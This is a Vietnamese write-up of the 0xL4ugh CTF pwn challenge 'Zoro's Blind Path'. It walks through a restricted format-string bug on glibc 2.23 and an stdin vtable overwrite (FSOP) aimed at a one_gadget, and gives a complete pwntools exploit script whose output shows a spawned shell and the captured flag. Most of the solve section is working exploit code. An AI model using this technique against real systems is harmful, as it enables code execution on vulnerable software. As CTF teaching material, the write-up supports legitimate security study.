Zoro's Blind Path

Recon
Mitigation
$ pwn checksec app
[*] '/home/hungnt/ctfs/0xl4ugh/zoros_blind_path/Zoro's Blind Path/app'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabledGLIBC Version
pwndbg> libc
libc version: 2.23
libc source link: https://ftp.gnu.org/gnu/libc/glibc-2.23.tar.gzGlibc 2.23 khả năng cao là fsop, ghi đè vtable, vì ở glibc 2.24 vtable lần đầu bị thêm check.
Code
main()
int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf2[16]; // [rsp+0h] [rbp-128h] BYREF
char buf1[264]; // [rsp+10h] [rbp-118h] BYREF
unsigned __int64 v6; // [rsp+118h] [rbp-10h]
v6 = __readfsqword(0x28u);
setup(argc, argv, envp);
banner();
puts("Zoro is lost again...");
puts("This scroll hides its secrets, but gives you one clue:");
printf("[+] Clue: %p\n", stdout);
puts("Write your path:");
if ( fgets(buf1, 264, stdin) )
{
if ( !(unsigned int)valid_format(buf1) )
goto exit;
printf(buf1);
puts("\nWrong path... try again:");
if ( fgets(buf2, 10, stdin) )
{
if ( (unsigned int)valid_format(buf2) )
{
printf(buf2);
puts("\nZoro wanders off...");
return 0;
}
exit:
sanitize_part_0();
}
}
return 0;
}Ở đây có 2 phát format string bug.
valid_format()
__int64 __fastcall valid_format(const char *buf)
{
size_t len; // rax
size_t v3; // rdx
size_t v4; // rcx
char v5; // si
int v6; // edi
len = strlen(buf);
if ( !len )
return 1LL;
v3 = 0LL;
while ( 1 )
{
if ( buf[v3] != 37 )
goto LABEL_3;
v4 = v3 + 1;
if ( len <= v3 + 1 )
return 0LL;
v5 = buf[v3 + 1];
if ( (unsigned __int8)(v5 - 48) <= 9u )
break;
v6 = 0;
LABEL_10:
if ( v5 == 104 )
{
v3 = v4 + 1;
if ( len <= v4 + 1 )
return 0LL;
v5 = buf[v4 + 1];
if ( v5 != 104 )
goto LABEL_14;
LABEL_26:
v3 = v4 + 2;
LABEL_22:
if ( v3 >= len )
return 0LL;
v5 = buf[v3];
goto LABEL_14;
}
if ( v5 == 108 )
{
v3 = v4 + 1;
if ( len <= v4 + 1 )
return 0LL;
v5 = buf[v4 + 1];
if ( v5 != 108 )
goto LABEL_14;
goto LABEL_26;
}
if ( (v5 & 0xEF) == 106 || (v3 = v4, v5 == 116) )
{
v3 = v4 + 1;
goto LABEL_22;
}
LABEL_14:
if ( v5 == 99 )
{
if ( v4 != v3 )
return 0LL;
v3 = v4 + 1;
if ( len <= v4 + 1 )
return 1LL;
}
else
{
if ( v5 != 110 || v6 )
return 0LL;
LABEL_3:
if ( len <= ++v3 )
return 1LL;
}
}
while ( len > ++v4 )
{
v5 = buf[v4];
if ( (unsigned __int8)(v5 - 48) > 9u )
{
v6 = 1;
goto LABEL_10;
}
}
return 0LL;
}Sau khi hỏi Claude, thì về cơ bản là mình chỉ được sử dụng mỗi %[width]c và %[modifier]n trong format string, không gì khác.
Solve
Mục tiêu của mình là ghi đè vtable của stdin, hay stdout, stderr để có RCE.
Ban đầu mình nhắm vào vtable của stdout, được sử dụng bởi printf(), để khi printf(buf2) sẽ spawn shell. Nhưng ko được, bởi vì mình đang ghi vào stdout bằng printf(buf1), nghĩa là đang dùng stdout, nên trong lúc ghi mà vtable bị thay đổi là sigsegv luôn.
Thế thì mình nhắm vào stdin để spawn shell lúc gọi fgets() lần 2, và nó ok, việc cần làm là:
- Tạo một fake vtable ở vùng ghi được trong libc, ghi địa chỉ one_gadget vào entry tại offset 0x28 (__uflow()). Thật may là one_gadget với constraint rsp + 0x50 == NULL chạy ok. Trước đó mình thử system(), nhưng cái này yêu cầu phải ghi được “sh” vào stdin mới được, mà mình cần giữ trường flags nên one_gadget cho nhanh.
- Ghi địa chỉ của fake vtable vào stdin+0xd8.
- Ghi trường flags hợp lệ sao cho path đến __uflow() được thực thi. Sau một hồi thử với Claude thì mình thấy 0xfbad2288 chạy ngon luôn.
Vì format string bị giới hạn, ko dùng luôn thư viện của pwntools để viết payload được. Nên cần phải viết tay và căn chỉnh thủ công.
Script
#!/usr/bin/env python3
from pwn import *
sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)
slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())
ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rn = lambda p, n: p.recvn(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()
lg = lambda t, addr: print(t, '->', hex(addr))
binsh = lambda libc: next(libc.search(b"/bin/sh\x00"))
leak_bytes = lambda r, offset=0: u64(r.ljust(8, b"\0")) - offset
leak_hex = lambda r, offset=0: int(r, 16) - offset
leak_dec = lambda r, offset=0: int(r, 10) - offset
pad = lambda len=1, c=b'A': c * len
exe = ELF("app_patched", checksec=False)
libc = ELF("libc-2.23.so", checksec=False)
ld = ELF("ld-2.23.so", checksec=False)
context.terminal = ["/usr/bin/tilix", "-a", "session-add-right", "-e", "bash", "-c"]
context.binary = exe
gdbscript = '''
cd ''' + os.getcwd() + '''
set solib-search-path ''' + os.getcwd() + '''
set sysroot /
b *main+141
b *__fake_uflow
set follow-fork-mode parent
set detach-on-fork on
continue
'''
def conn():
if args.LOCAL:
p = process([exe.path])
sleep(0.1)
if args.GDB:
gdb.attach(p, gdbscript=gdbscript)
sleep(0.5)
return p
else:
host = "localhost"
port = 1337
return remote(host, port)
p = conn()
ru(p, b'Clue: ')
libc.address = leak_hex(rn(p, 14), 0x3c5620)
lg("libc base", libc.address)
one_gadget = libc.address + 0xf03a4
fake_uflow = libc.address + 0x3c4800
stdin = libc.address + 0x3c48e0
fake_vtable = fake_uflow - 0x28
stdin_vtable = stdin + 0xd8
lg("one gadget", one_gadget)
lg("fake uflow", fake_uflow)
lg("stdin", stdin)
lg("fake vtable", fake_vtable)
lg("stdin vtable", stdin_vtable)
words = []
for i in range(3):
word = (one_gadget >> (i*16)) & 0xffff
words.append((word, fake_uflow + i * 2))
word = (fake_vtable >> (i*16)) & 0xffff
words.append((word, stdin_vtable + i * 2))
# Flags: 0xfbad2288 works
word = 0xad22
words.append((word, stdin + 1))
words = sorted(words)
pl = '%c'*21
c = pl.count('%')
for i in range(len(words)):
if words[i][1] == stdin:
pl = f'{pl}%{words[i][0] - c}c%n'
elif words[i][0] == c:
pl = f'{pl}%hn'
else:
pl = f'{pl}%{words[i][0] - c}c%hn'
c = words[i][0]
pl = pl.encode().ljust(8*15, b'A')
for i in range(len(words)):
pl += p64(words[i][1])
if i < len(words) - 1 and words[i][0] == words[i+1][0]:
continue
pl += pad(8)
lg("payload len", len(pl))
sla(p, b'path', pl)
ru(p, b'try again:\n')
ia(p)$ py solve.py
[+] Opening connection to localhost on port 1337: Done
libc base -> 0x79f91f254000
one gadget -> 0x79f91f3443a4
fake uflow -> 0x79f91f618800
stdin -> 0x79f91f6188e0
fake vtable -> 0x79f91f6187d8
stdin vtable -> 0x79f91f6189b8
payload len -> 0xe0
[*] Switching to interactive mode
$ ls
app
flag
$ cat flag
0xL4ugh{Z0R0_F1N4LLY_F0UND_TH3_FM7_P47H_d5f66465add34228}